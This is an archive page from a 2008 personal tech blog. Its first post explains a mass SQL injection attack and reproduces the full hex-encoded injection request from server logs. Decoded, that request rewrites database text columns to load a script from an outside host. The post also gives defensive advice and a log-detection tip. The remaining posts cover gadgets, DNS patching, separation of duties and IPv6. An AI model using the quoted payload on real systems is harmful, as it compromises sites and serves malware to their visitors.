I've personally spoken with people from a few companies who have had to contend with the fact that their sites were attacked in this manner over the past several days. In each case, they were utilizing a so-called "black-list" (or "deny-list" to be a little more appropriate) of bad input in their application logic. The problem with black-listing is the cases where you don't realize something should be on the list, or when new threats emerge. Instead, a white-list (or "allow-list") methodology requires you to specify what input is allowed. Your application won't change much over time. The threats will. Deny all by default, it's the only safe way to go.

UPDATE: Neil Carpenter mentions in the comments here that he recently posted an excellent blog entry about using parametrized queries in SQL server, and he makes some great points. While input validation is a useful and often appropriate layer of security (not all apps are database-driven), solving this specific type of problem using his method is an important idea to look at and leverage. A layered conbination of both input validation (where it's practical and workable) and paramaterized queries is a good approach, in my opinion.

The attack

Secure Computing's TrustedSource (good site, read it) has some detail about the attack...

You'll see this in your web server logs (assuming you are logging, and you sure as heck better be - more on that later):

GET /?';DECLARE%20@S%20CHAR(4000);SET%20@
S=CAST(0x4445434C41524520405420766172636
8617228323535292C40432076617263686172283
430303029204445434C415245205461626C655F4
37572736F7220435552534F5220464F522073656
C65637420612E6E616D652C622E6E616D6520667
26F6D207379736F626A6563747320612C7379736
36F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F722
0622E78747970653D3335206F7220622E7874797
0653D323331206F7220622E78747970653D31363
729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D202054616
26C655F437572736F7220494E544F2040542C404
3205748494C4528404046455443485F535441545
5533D302920424547494E2065786563282775706
4617465205B272B40542B275D20736574205B272
B40432B275D3D5B272B40432B275D2B2727223E3
C2F7469746C653E3C736372697074207372633D2
2687474703A2F2F73646F2E313030306D672E636
E2F63737273732F772E6A73223E3C2F736372697
0743E3C212D2D272720776865726520272B40432
B27206E6F74206C696B6520272725223E3C2F746
9746C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D672E636E2F637
37273732F772E6A73223E3C2F7363726970743E3
C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E5
44F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20AS%20CHA
R(4000));EXEC(@S);HTTP/1.1

Which is a hex-encoded injection that, when translated, creates this SQL statement string (bad-guy address has been removed):

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>

To search your web server logs for any offending lines, look for "DECLARE" anywhere in the query string. That's a dead give-away. You'll find attacks from various unsurprising countries including North Korea and China (or at least what's where I have seen them coming from).

How to solve?

First of all, if code like this can get through the web application and into the database, I'd recommend a complete review of the web app from a security standpoint. Basic best-practices for web applications assume that you will trust absolutely no input by default, and then examine all input to see if it is in a format and of a type that is appropriate. And it's very important to recognize that by "input" we mean any type of input vector - whether it be form fields, query string, URI, session data, etc. Input validation should be done on the server side, not just the client side (turning off javascript and manipulating data en-route to the server is pretty easy, after all).

If you need a tactical approach to block this particular threat right now while you plan validation improvements, I'd recommend what many people are doing: Monitor all the input with your web server, and re-write the offending statements to something innocuous. That's a band-aid, but it can help in the short-term with this one particular need. In addition, you could use application-layer firewalls in from of your web server/farm to do the same thing. But neither of these approaches would be considered acceptable as a complete or permanent solution. You can certainly keep them in place after an app fix, as part of a layered security approach. But ultimately the site needs to be coded properly and not allow the bad input.

HP recently released a tool that you can use to check for SQL injection vulnerabilities specifically called Scrawlr. You can find it, and related information, here.

Scrawlr, developed by the HP Web Security Research Group in coordination with the MSRC, is short for SQL Injector and Crawler. Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities. Scrawlr is lightning fast and uses our intelligent engine technology to dynamically craft SQL Injection attacks on the fly. It can even provide proof positive results by displaying the type of backend database in use and a list of available table names. There is no denying you have SQL Injection when I can show you table names!

If you are dealing with this attack or have related thoughts, please feel free to post in the comments with your experiences.



Add/Read: Comments [3]
IT Security | Tech
Tuesday, August 12, 2008 2:24:30 PM (Pacific Standard Time, UTC-08:00)
#  Trackback


There are a lot of so-so iPhone apps out there, fun to use once or twice but not killer applications that you simply must have. DataCase is a candidate for that latter classification. (Available via the app store for iPhone and iPod Touch, $6.99)

The DataCase app allows you to copy files from your PC or Mac to the iPhone via the wireless network using a drag-and-drop method. Once on the iPhone you can view and use the files in mobile mode. There's support for MS Office formats, PDF, text, common images, HTML, plus any audio and video the iPhone OS would normally support.

It's pretty slick. I'm playing with it now and can see the real benefits of having a variety of key files, documents, etc. available on the mobile device any time I need them. One problem common to all iPhone apps is the fact that it has to be running in the foreground in order to access the app remotely - no background execution. Good thing I bought this 16GB iPhone eh?

Links: Veiosoft web site and a review at TUAW.





Add/Read: Comments [1]
Apple | Mobile | Tech
Tuesday, August 12, 2008 1:02:49 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, August 06, 2008

I'm a rural-living person who often consults people on how to get broadband Internet connectivity to their middle-of-nowhere homes. There's some good news for most of those people. HughesNet, the big guy in the satellite Internet service space operated by Hughes Network systems (no relation), has announced that later this month they will begin offering what they're calling the ElitePremium plan, with download speeds available as fast as 5 megabits per second (mbps). That's up there speed-wise with what many cable companies provide, and is easily a competitor to DSL speed capabilities. It'll be available to order on August 21st.

Satellite Internet has some inherent latency between the time a request is sent and the resulting data is fed to you, since the distance the signal travels, even at the speed of light, is pretty darned far. Many VPN systems have a difficult time on Satellite, also due to the time-shift latency. But the "start" delay is not huge, and once the "faucet is open," 5 mbps is pretty darned fast.

That's about five times the download speed I get on my Internet connection, which is an excellent terrestrial wireless offering from a local provider (which is Cascade Networks, if you happen to live in the Longview, Washington or Columbia County, Oregon areas). An antenna on my roof points at a tower on a mountain about 11 miles away, and that's the option I use.

So, more options and much faster speeds for us non-city-dwellers. Not a bad deal!



Add/Read: Comments [37]
Tech
Wednesday, August 06, 2008 3:48:03 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, August 02, 2008

Every now and then you'll discover a couple or few smaller apps that work well together, or alongside each other. The type of situation where you get the 2+2=5 effect. Individually both apps are great, but when used together they becomes something even more. "Two great tastes that taste great together," to borrow an old marketing phrase.

That's been the case for me with two iPhone apps - Shazam (iTunes store page) and Pandora (iTunes store page). Today I use them alongside each other. It's my hope that someday they will be able to communicate with each other and share information.

I've written about Pandora here before. It's a web app that happens to have an iPhone client as well, where you can start with music you like and it helps you find more music that fits your taste and style. You create channels, or stations, and the Pandora service selects similar music for your to hear, and you can fine tune as you go.

Shazam is another of those magical "wow" apps for the iPhone. I use it in the car when I hear a song I like. Rarely do I know the name of the song, or even the artist. But as it plays, I just tell Shazam to listen to a 12-second portion of the song (a process called "tagging"). It uploads the resulting data to the centralized service, and back comes all the information about the song - Artist, title, album, everything. It's really amazing, and in my experience 100% accurate. From there you can also find YouTube videos and launch into the iTunes store to buy the music you've tagged.

I'll often take the name of an artist I discover from Shazam and plug the info into Pandora and start listening there. It's a great way to quickly and relatively effortlessly drill down into new music I have never heard before, but it's music that I really like.

Now imagine if you could use Shazam to identify a song and then inside Shazam choose an option to create a channel based on that artist in Pandora. That would be awesome, truly awesome. I have no idea how "possible" it is, but I can hope. :)

On a similar note - meaning various apps that work great together - ReadWriteWeb published an article this past week with a list of apps that complement each other well (including my Shazam/Pandora combination).



Add/Read: Comments [2]
Mobile | Tech
Saturday, August 02, 2008 12:31:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

My title for this post sort of spins the title of the article I want to point you to, aiming for the positive side of the coin. The article, which is entitled "The Top 5 Reasons Tech Execs Fail," provides a set of bullet-pointed thoughts that can be read as a list of what tech execs need to do in order to succeed. I happen to agree with the authors' assessment.

Here's the short version of Marty Abbott and Michael Fisher's five points, slightly altered to read as a list of positive attributes of a successful tech leader:

5. Ability to Build World Class Team
4. Ability to Execute
3. Ability to Lead/Motivate/Inspire
2. Ability to Manage Operationally
1. Displays and Uses Financial Acumen

The authors point out in their article, "... when technology executives fail, it is not because they lack an individual skill. It is because they lack an an adequate balance of the many technical, operational and leadership skills necessary to make them a complete manager."



Add/Read: Comments [0]
Management | Tech
Saturday, August 02, 2008 11:12:23 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, August 01, 2008
You should listen to your online friends. They often have great ideas, like in this case. I was recently turned onto a simple but effective alternative to bulky plastic cases and leather holsters for my new iPhone 3G. It's called the invisible SHIELD . The product, simply put, is pretty darned terrific. You hardly know it's there, and it protects like crazy. You can also get invisibleSHIELD for the iPhone first-generation device.

Now, let me tell you right up front that when it comes time to "install" the shield on your phone, you'll need a clean work surface, a little patience, 12 to 24 hours to let your shield "cure" on the phone,  and the ability to read and follow some simple instructions. If you make sure you have those few key things taken care of, all will go well.

In the video below I show and abuse my iPhone 3G (the only one I own...) with an Invisible Shield installed. In the video you can see that there are a couple scratches under the shield. Those came from a combination of iPhone and the keys in my pocket (before I ordered the invisibleSHIELD . In fact it was those exact scratches, which I got the first day I had the phone, that prompted me to find a real, working anti-scratching solution.



I can highly recommend the Invisible Shield.

Full disclosure: Zagg (the manufacturer of the invisibleSHIELD ) doesn't know I am doing this review. I found their product all on my own based on a real need, and clicking on the advertisement below takes you to my link on their product site - If you buy something there I'll get a small chunk of the change you spend. If you don't like that idea, no problem - just go to zagg.com and click through to the iPhone 3G page (or whatever product you want to cover and protect - For me, my MacBook Air is next).

invisibleSHIELD for iPhone 3G  



Add/Read: Comments [36]
Apple | Mobile | Tech
Friday, August 01, 2008 8:05:28 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, July 31, 2008

I especially appreciated the Mojave Experiment that Microsoft recently shared with the world (where Vista-negative opinions were tested with a "new" version of Windows, code-named Mojave; it was then revealed to the participants after seeing the new version that what they were looking at was actually Vista). I've been using Vista since well before I came onto the market, and I can hardly stand to use WIndows XP computers anymore. Anyhow, check out http://www.mojaveexperiment.com if you haven't seen it, especially if you have a negative opinion of Vista today based on what you've heard from others. (Note: Scientifically speaking, the "experiment" would be badly flawed, but it's a marketing campaign and in that light it's pretty darned smart if you ask me. Plus, I've lost track of how may people who, never having seen Vista yet having a negative perception, decided to upgrade after trying for a couple hours (on my laptop) at my suggestion. With SP1 installed, for the record. Seriously, group think and manipulation goes both directions).

For those of us who are using Vista (or any other OS for that matter), it's nice to be able to fine-tune a computer system so it will perform the way we want it to. For Vista, Microsoft has released a document called Windows Vista Performance and Tuning as part of their Springboard series, which lets users know about a number of tweaks and decisions they can make to make the OS work well for their needs. It also effectively spells out in fairly plain language some relatively complex information.

Windows Vista and SP1 focus on delivering greater performance and overall system responsiveness. By striking a balance between speed and responsiveness, Windows Vista and SP1 deliver a level of performance that has the greatest positive impact on the system’s usability.This guide looks at the following areas of performance improvement:
  • Making configuration changes that help a computer feel more responsive when you use it.
  • Using hardware to boost the actual physical speed of a computer.
  • Making configuration changes that help a computer to start faster.
  • Making the computer more reliable may help increase performance.
  • Monitoring performance occasionally so that you can stop problems before they get too big.

There are a variety of other guides out there as well, but this one hits a number of important nails on the head that the average computer user can easily understand and use.



Add/Read: Comments [0]
Tech
Thursday, July 31, 2008 7:50:35 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, July 27, 2008

Last week we published an interview that Richard and I did on RunAs Radio with my friend and former co-worker, Simon Goldstein. Simon's a real pro and is good at explaining complicated business relationships and processes.

We cover risk management for IT professionals: What is it, what do you need to know, and why does it matter? As with all of our weekly RunAs Radio shows, it's about 30 minutes long and we cover a lot of ground in that time.

RunAs Radio, Show 67 - Simon Goldstein on IT Risk Management (38 minutes)

Note: You can find all our podcast feeds in the table here, and you can also subscribe to get the show every week in iTunes by clicking here.



Add/Read: Comments [0]
IT Security | RunAs Radio | Tech
Sunday, July 27, 2008 7:39:34 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
Over on the Internet Evolution site I recently wrote an article discussing the fact that MySpace is becoming an OpenID provider. Of note is the fact that they will be provider-only, and not a relying party, at least initially. This is a trend we've seen with other big companies like Yahoo!, and many of us are not-too-patiently waiting for these companies to start trusting and relying upon other organizations, so the utopia of user-controlled Internet single-sign-on can become a reality.

That begs the question, "What will it take to achieve the level of trust and confidence needed to make it easy for these big provider companies to join the relying-party crowd?" I'm certain there are plenty of detailed conversations and that things are being hammered out and actively discussed behind the scenes at all these major companies, but I tend to think about these things out loud anyhow.

So, I hope you'll read my article and thoughts over on Internet Evolution and that you'll take advantage of the opportunity to comment there. I'd be interested to know what you think.



Add/Read: Comments [0]
IT Security | Tech
Sunday, July 27, 2008 9:56:08 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, July 26, 2008

The DNS vulnerability discovered earlier this year by Dan Kaminsky, and recently patched by DNS software providers in an unprecedented cross-vendor cooperation, has graduated from vulnerability to exploit-in-the-wild.

According to Kaminsky, 52% of the DNS servers on the Internet are still vulnerable, better than the number of exploitable systems just a few weeks ago when the patches were released by all the vendors.

Kaminsky has written up a plain-language helper guide to explain the problem to non-technical (read: management and decision-making) people. There's also a Black Hat webcast with Kaminsky available where he details the vulnerability and discusses the fixes.

Read more at Ars Technica.



Add/Read: Comments [0]
IT Security | Tech
Saturday, July 26, 2008 11:38:05 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, July 25, 2008

On the Google blog, Jesse Alpert & Nissan Hajaj posted an article today called "We knew the web was big..." which indicates Google engineers recently noted that the number of web pages on the Internet passed the one-trillion mark. That's 1,000,000,000,000 pages. For those who don't process the impact of adding that many groups of zeros at a time, think about this:

  • Take 1,000 pages.
  • Multiply that 1,000 times and think about just how big that is.
  • Multiply that amount another thousand times, and stop to think about how big that is.
  • Now, again take that huge amount and multiply it by 1,000. Now you're at a trillion pages.

That's freakin' huge, really. If you started counting from one to a trillion and counted one number per second, it would take you almost 317 centuries before you were done (and by the way I asked google to help me figure that out). That's almost 32,000 years. It almost completely boggles the mind. That's a lot of web pages.

Google also notes that every day, the number of pages on the web increases by several billion.

Alpert and Hajaj have another explanation to try to explain the sheer size of the Internet today:

Today, Google downloads the web continuously, collecting updated page information and re-processing the entire web-link graph several times per day. This graph of one trillion URLs is similar to a map made up of one trillion intersections. So multiple times every day, we do the computational equivalent of fully exploring every intersection of every road in the United States. Except it'd be a map about 50,000 times as big as the U.S., with 50,000 times as many roads and intersections.

That's really just amazing to me. Wow. And now you know why we call this the Information Age. A lot of that information may be inaccurate, pornographic or otherwise useless, but some of it's good, and the sheer immensity of it is truly awesome.

TechCrunch has a slightly different take, calling the Google post misleading. The end of the TechCrunch post alludes to some news coming next week that might turn Internet indexing on it's head. Interesting - Is there some big search engine news in the works? Is it Microsoft's BrowseRank or something else? Stay tuned.



Add/Read: Comments [1]
Geek Out | Random Stuff | Tech
Friday, July 25, 2008 8:50:06 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, July 24, 2008


Dunno about twice as fast, but will it blend? Blendtec (of course) decided to find out. Found via the Google Mobile blog.



Add/Read: Comments [0]
Humor | Mobile | Random Stuff | Tech
Thursday, July 24, 2008 10:48:16 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Over at OSCON just a short time ago, the Open Web Foundation was just announced. Eran Hammer-Lahav just blogged about it at the OWF site. This is great news, and should go a long way to enabling better community development of standards and specs in a non-proprietary fashion.

This morning at OSCON, David Recordon announced the creation of the Open Web Foundation. The Open Web Foundation is an attempt to create a home for community-driven specifications. Following the open source model similar to the Apache Software Foundation, the foundation is aimed at building a lightweight framework to help communities deal with the legal requirements necessary to create successful and widely adopted specification.

The presentation slides are also available in Eran's post.



Add/Read: Comments [0]
Tech
Thursday, July 24, 2008 8:55:04 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

What would Steve click?

It's not often you find advertising that doesn't just bother you. I try to keep the ads on this site relevant, minimalist and out of the way. But on a limited-size device like the iPhone, not to mention it's a device that has that "cool usability" vibe, the need for ultra-careful advertising design is critical. Acceptance is important.

Enter AdMob. They've created advertising blocks for the iPhone that are - well - pretty darn cool. Hopefully the advertisements that show up in them in practice will be relevant and cool, too. Check out the video.




Add/Read: Comments [0]
Mobile | Tech
Thursday, July 24, 2008 8:43:10 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, July 23, 2008

First, a big congrats to the guys at jkOnTheRun for their acquisition by GigaOm and their continued full-time blogging careers. Great people, and a great deal.

Kevin at jkOnTheRun posted a preview article the other day that I somehow missed until now, describing the Microsoft Live Mesh client for the Mac. It's not available yet, but Kevin was able to try it out. Previously he'd reviewed the mobile client for Live Mesh.

I've been using Live Mesh for a few months now in a limited fashion because only one of my computers at home will work (meaning only one runs a Windows desktop OS). My other machines are a Home Server and Mac, and my mobile decide is an iPhone. But I like what I have seen in the Mesh system, including the UI. So, I am looking forward to the release of a Mac client.

Check out Kevin's preview of the pre-release Mac app here.



Add/Read: Comments [0]
Apple | Tech
Wednesday, July 23, 2008 12:22:04 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

In the case of Terry Childs, a network admin who gained notoriety recently for locking the City of San Francisco and his managers out of their own critical network, comic-book style progress has been made, with Childs' attorney inviting the mayor of SF to a secret meeting at the jail, where Childs handed over the passwords he'd previously refused to disclose.

Childs' lawyer, again in typical comic book fashion, has also come out saying that Childs' actions were essentially noble and that he was acting to protect the network he built from his management and peers, whom he characterized as being neglectful and without the proper knowledge to support the network. About what you'd expect from a defense lawyer in a public case, I suppose.

But Childs is in no way a hero. Even if what he says is completely true, he's (allegedly) committed a real crime. He does not own that network even if he helped build it, and regardless of whether the management in his department was capable of exercising its responsibilities, when Childs locked everyone out he crossed a clear line. If it was to make a point, he simply went overboard. The whole unfortunate case just smacks of ego and manic behavior.

But from arm's length the city doesn't exactly look like a helpless victim, either. Any professional management team that creates an environment where one person can control a critical and sensitive network in the manner exercised in this case has missed some of the most crucial and common-sense aspects of IT and security design. In fact, most of the time when cases of one-man-too-much-power crop up, we find that the IT staff is also responsible for security with little or no separation of duties, no checks and balances, and no controls to ensure one bad apple doesn't ruin the whole barrel.

Was Childs right? Absolutely not. Was the City wrong? I don't see how you can argue otherwise.

You'd likely be surprised how many real-world computer networks - big and small, important and less so - are run on the concept of "we just trust that one guy." It's what we call a "Beer Truck" risk problem: If I'm that guy you trust, what if I get hit by a beer truck and killed, or alternatively what if I drink everything on that beer truck and go nuts and wipe out the network? What then?

Systems should be set up to ensure no one person holds all the keys. Over the past few days I've read comments made about this story, in many cases by angry IT-types who say if you hire someone you have to give them access to everything and you have to trust them to do the right thing. Otherwise they cannot do their job, you're a terrible person and your network and systems are doomed. That premise is simply and blatantly false, and in fact following that method puts you in the same boat the City of San Francisco has just found itself in. Please, don't listen to the old-skool IT admin crowd, telling you to hand it all over to them because you obviously don't know what you're doing. Fire those guys and find some real help.

If you want a healthier view of the situation, check out articles written by smart, thoughtful people, like this one by Paul Doyle. Also, Paul Venezia wrote an in-depth article about what went wrong, with some detailed inside information.

To be clear, no one person should control all the systems. Control and authority are not the same thing. Checks and balances are important. The Air Force doesn't allow one person to perform all the steps needed to launch a ballistic missile, right? Apply the same principles to your IT systems.

Case in point: I was the chief security executive at a major online financial services company. I had administrative access to nothing. I couldn't even get in the data center without an escort and records being kept. I had no account access to critical or sensitive systems. And no one person there could make changes in a vacuum. IT workers didn't have access to security systems. Security workers didn't have administrative access to anything by default. And we operated effectively, smoothly, with full knowledge of what was happening on the network and systems. No one person had control. Authority, sure. But actual control of systems? No. To operate otherwise would have been negligent.

I often preach the value of formalizing security management and putting proper process, technology and organization in place to ensure a good, stable system that can effectively support business. One of the pillars of an effective security management system is hiring good people (probably not ones who have been convicted of aggravated robbery in the past, sorry) and separating duties in a way that protects everyone involved - employees included. Doing so is not punishment, it's just good common sense.

If nothing else, lets hope businesses and governments all over learn from this embarrassing public spectacle. There are standards out there (my background and experience is in ISO 27001, an international security management standard), the very purpose of which is to make sure things like this don't happen. It's high time to start using them.



Add/Read: Comments [6]
IT Security | Tech
Wednesday, July 23, 2008 11:04:17 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

DNS has a hole in it. Bad guys are working on exploits right now. Patches are available right now. Anyone responsible for a DNS server needs to exercise that responsibility. Right Now.

Dan Kaminsky found a security hole in DNS recently, the details of which he was keeping quiet so providers could fix and release patches and DNS server owners could get those patches deployed, in order to avoid security breaches on the Internet. His intent was to release the gory details in a couple weeks at the Black Hat conference.

But the other day word of the details inadvertently leaked out, and so now everyone responsible for a DNS system must - and I do mean must - drop what they're doing and make sure their systems are patched and safe. Failure to do so puts Internet users at risk of site fraud and hijacking.

DNS is a system that translates names you can remember (like www.greghughes.net) to especially non-memorable numerical addresses the Internet can route (such as 208.109.238.146). It's the Internet's phone book, so to speak.

The security hole allows malicious people to spoof a web site using the actual, legitimate domain name. In other words, bad guys could hijack a DNS server, and if it happens to be one your computer relys upon, you could type in a legitimate address like www.google.com or www.yourbank.com, but the web page would be a malicious one - a fake. The recently-released patches plug the hole and prevent this misuse (although it doesn't really change the underlying protocol).

Aaron Massey wrote a very good post describing the issue and it's various details. He also links to Halvar Flake, a talented reverse-engineering guy who thought the threat through and pretty much guessed it right on his blog. After Halvar's guess, another security blog that had specific knowledge of the threat details confirmed Flake's hypothesis. As a result, the threat was disclosed.

Luckily, the various creators of the DNS systems used all over the Internet released patches about two weeks ago. The real question is, have you patched your servers? This is a critical flaw - it needs to be patched immediately.

If you want to know whether the DNS server your computer relies upon is vulnerable or not, you can use the DNS Checker in the sidebar of Kaminsky's blog (as long as it remains there).



Add/Read: Comments [1]
IT Security | Tech | Things that Suck
Wednesday, July 23, 2008 7:14:34 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, July 20, 2008

A couple weeks ago I mentioned the release of Identi.ca, a social networking/microblogging site built on an open platform and allowing federation. Today, a beta release of Twhirl, one of the more popular clients used on the Twitter microblogging service as well as a couple others, adds support for Identi.ca and includes "push" support. Many of us who have come to like Indenti.ca are very happy.

That means Twhirl doesn't have to pole (read: overwhelm) the Identi.ca servers to see if you have any new items to read. Instead the servers just let you client know there's new content and pass it along. It works using the jabber/instant messaging interface (identi.ca sends it's push messages to your jabber account, and you tell Twhirl how to log into your IM account).

This is pretty darned smart (and takes a couple steps to set up). It's something that Twitter could probably use on their service to potentially reduce load (although I cannot say for sure that a push service would actually reduce the issues related to overloading of their servers).

Read more about it at CNET or grab the latest beta of Twhirl with Identi.ca support from this link.



Add/Read: Comments [3]
Blogging | Tech
Sunday, July 20, 2008 10:38:41 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Chances are, if you're reading this around the time I am writing it, that your computer is not exposed to an IPv6 network. You're most likely on an IPv4 (classic) network. You can easily tell by trying the quick IPv6 test on this page.

Even if you're not on the new network stack yet, change is happening, and systems have to be adapted to make sure not only that the new network works (most - but not all - modern hardware and software "understands" IPv6), but also that when you do actually start to operate in an IPv6 world, that you are properly secured.

In an effective security world, you need to put protections in place soon enough, meaning before the threat appears. You have to protect proactively, without waiting for bad guys to exploit a network or system. In the case of the IPv4 to IPv6 transition, that means making sure things like intrusion prevention and detection systems, firewalls, and other software and devices that function in the network layer even know how to "talk" the IPv6 language.

A number of current security applications just don't know how, so now is the time for a call to action: IPv6-enable your technology right now, to prevent opportune threats in the future. Don't get caught with your pants down.

Kim Zetter wrote a good article on the subject the other day at WIred. "The Ghost in Your Machine: IPv6 Gateway to Hackers" outlines quite well the potential threat imposed by a lack of readiness from a security perspective. It's not all bleak and terrible news, but as the article makes clear, now is the time to fix the problem, before something bad happens.

Probably the most difficult aspect of understanding the potential issues introduced by an environment not ready for IPv6 is the lack of awareness among IT folk in general as to how IPv6 works, how it's used, and the services (quite good ones, I might add - take a look at how IPsec is baked right in, for example) integral to the protocol.

What's it take to get from here to there? Being prepared with real, solid and accurate information is probably the most important step. Not many of us are naturally wired to take action before something bad happens. As an IT guy, I can tell you this: In the real world, most IT people don't learn what they need to know until after they need to know it. A lazy learning methodology just won't work in this case.

For IT professionals, do not assume that just because you were able to pick up your IPv4 knowledge over a long weekend of studying and tinkering that you'll be able to do the same with IPv6 - That's just not the case. IPv6 is more complex and has a lot more parts to understand. If you haven't learned it by now, for shame. Some of you have a little time left. Get on the ball, and gain the deep understanding you need to do your job properly.

For application and hardware vendors that haven't yet dealt with the IPv6 change, you're running late. While many vendors of firewall software, switched, home routers, etc. have made the proper changes, there are also many that have not. Even worse, there are a variety of IPv4-to-IPv6 workarounds that can relatively easily be put in place by unknowing people (read: the IT guys mentioned above) that circumvent firewalls and other protections that are relied upon for good security. Bad design, convenient at the time, disaster waiting to happen. Prevent this.

If you're an individual computer user or owner, what is the status of your software vendors with regard to dealing with IPv6 network traffic? Are you running the latest firewall software, current router firmware? Do the latest versions protect you in an IPv6 world?

IPv6 is a great move, and in time it will dramatically change for the better how computers and devices interact. That is, if we don't manage to screw it all up in the process.

Now is the time. IPv6 is here, Go forth. Learn, analyze and secure.



Add/Read: Comments [0]
IT Security | Tech
Sunday, July 20, 2008 10:07:02 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, July 16, 2008

Several years ago I remember when my boss at the time, Chris Brooks, and others at work set up and ran Terrarium, a .NET v1.0 app that allowed peer-to-peer networking of machines running code with "bugs" (not the defect kind) in a virtual environment. It was a sort of a survival-of-the-fittest-bug kind of game, and they used it at work to build some fun learning into the process.

Fast-forward a few years, and the team at Microsoft that originally built the Terrarium app has scattered to the wind. But Bill Simser, a solutions architect, avid .NET guy and Microsoft MVP for SharePoint, took the initiative to find the code inside Microsoft, update it to .NET v2.0, and released it on CodePlex for the community to use and help maintain.

It's now a client-server application and has a worldwide-participation capability (as well as single-machine and closed local peering capabilities). Pretty cool stuff.

If you're an individual, team or group that wants to get some practice or learn more about programming in .NET and you want to have some fun in the process, check out Terrarium v2.

Resources:



Add/Read: Comments [0]
Tech
Wednesday, July 16, 2008 6:03:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

There's some great news out of the Microsoft Xbox crew at the E3 conference - NetFlix integration with your XBox 360:

Microsoft revealed that beginning later this year, Netflix subscribers would gain access to the entire Netflix digital library through their online XBox 360's.  Gold membership is required to take advantage of this partnership, but the newfound capacity represents a large step forward in increasing the XBox 360's appeal as a living room media box.  The present Netflix digital library includes roughly 10,000 titles, and on the 360 will feature the ability for watching videos concurrently with friends over the Internet through the new community party system.

Xbox 360 will be the only game system that lets users instantly watch movies and TV episodes streamed from Netflix. Xbox LIVE Gold members who are also Netflix subscribers will be able to streaming movies and television show episodes from Netflix at no additional cost. I'm really looking forward to that. All we need now is a Blu-Ray drive for the 360 console...

Also announced was a revamped user experience and interface (implemented completely through software updates, and allowing more personalization and social interactivity), new HD programming partners and content (including Battlestar Galactica, which I am looking forward to), a price cut on the "Pro" model of the Xbox 360 and a new model slated for August, a future feature which will allow you to copy your game disk to the Xbox hard drive for faster loading and smoother play (you still need to have the original disc though), and a bunch of new games.



Add/Read: Comments [2]
Movies | Random Stuff | Tech
Wednesday, July 16, 2008 11:11:00 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

On TechCrunch IT, in a post called "The New Apple Walled Garden," author Nik Cubrilovic makes a good point...

TechCrunchIT » The New Apple Walled Garden

Geeks and enthusiasts wearing Wordpress t-shirts, using laptops covered in Data Portability, Microformats and RSS stickers lined up enthusiastically on Friday to purchase a device that is completely proprietary, controlled and wrapped in DRM. The irony was lost on some as they ran home, docked their new devices into a proprietary media player and downloaded closed source applications wrapped in DRM.

I am referring to the new iPhone - and the new Apple iPhone SDK that allows developers to build ‘native’ applications. The announcement was greeted with a web-wide standing ovation, especially from the developer community. The same community who demand all from Microsoft, feel gifted and special when Apple give them an inch of rope. When Microsoft introduced DRM into Media Player it was bad bad bad - and it wasn’t even mandatory, it simply allowed content owners a way to distribute and sell content from anywhere.

How can people who preach and pontificate open systems be so enamored with a completely closed, proprietary system as Apple's? Now, don't get me wrong. I was in line at an Apple store last week with all the people Nik talks about in his article. I really like the iPhone and I think my Mac is great, hardware-wise (okay, the OS is not too bad either). But there's something that's always lurking there in the back of my mind, like a pestering little voice that doesn't want me to give in or forget lessons of the past. "A closed system is a system doomed to fail," the voice tells me. Either that, or it is so limiting as to stifle. Or both. Maybe I need to get my medication checked. On the other hand, maybe the voice is right. Or both.

Risking cliche cynicism, I think one has to consider whether The Church of The Steve congregation is further developing (or devolving, if you prefer) in its adoration, at the expense of long-term good. Blind faith, crazed unthinking people saying one thing yet doing another, the how-dare-you-question mentality... Sounds familiar. And that's coming from an Episcopalian. An imperfect, sometimes-questioning, sometimes-doubting, cynical one -- But you get the point. I hope.

Perhaps the scariest part of my thought process today is that I actually agree completely with Dave Winer on this one. He nails it right on the head. Okay, there are times when I agree with Dave, but until now I've never really admitted it in public. :)

What do you think about Apple's model? Fanboy? Concerned? Who cares? End of the world as we know it? Utopia? Told-ya-so?



Add/Read: Comments [2]
Apple | Random Stuff | Tech | Things that Suck
Wednesday, July 16, 2008 10:31:58 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, July 15, 2008

You can spend literally minutes (many of them) watching Gary Busey comment on various aspects of business and entrepreneurialism, and laughing in the process. Awesome. Highly recommended, since Gary is one of my favorites. You can click the buttons at the bottom of the video screen to get to different sections, each with several "episodes."

And by the way, the gotvmail service this video series is meant to virally market is pretty great, too. You might want to check that service out if you need a more-formal call-handling system for your smaller-sized business but don't want to shell out the money to buy all the classic PBX hardware. Great for distributed teams and virtual offices, too.



Add/Read: Comments [3]
Humor | Random Stuff | Tech
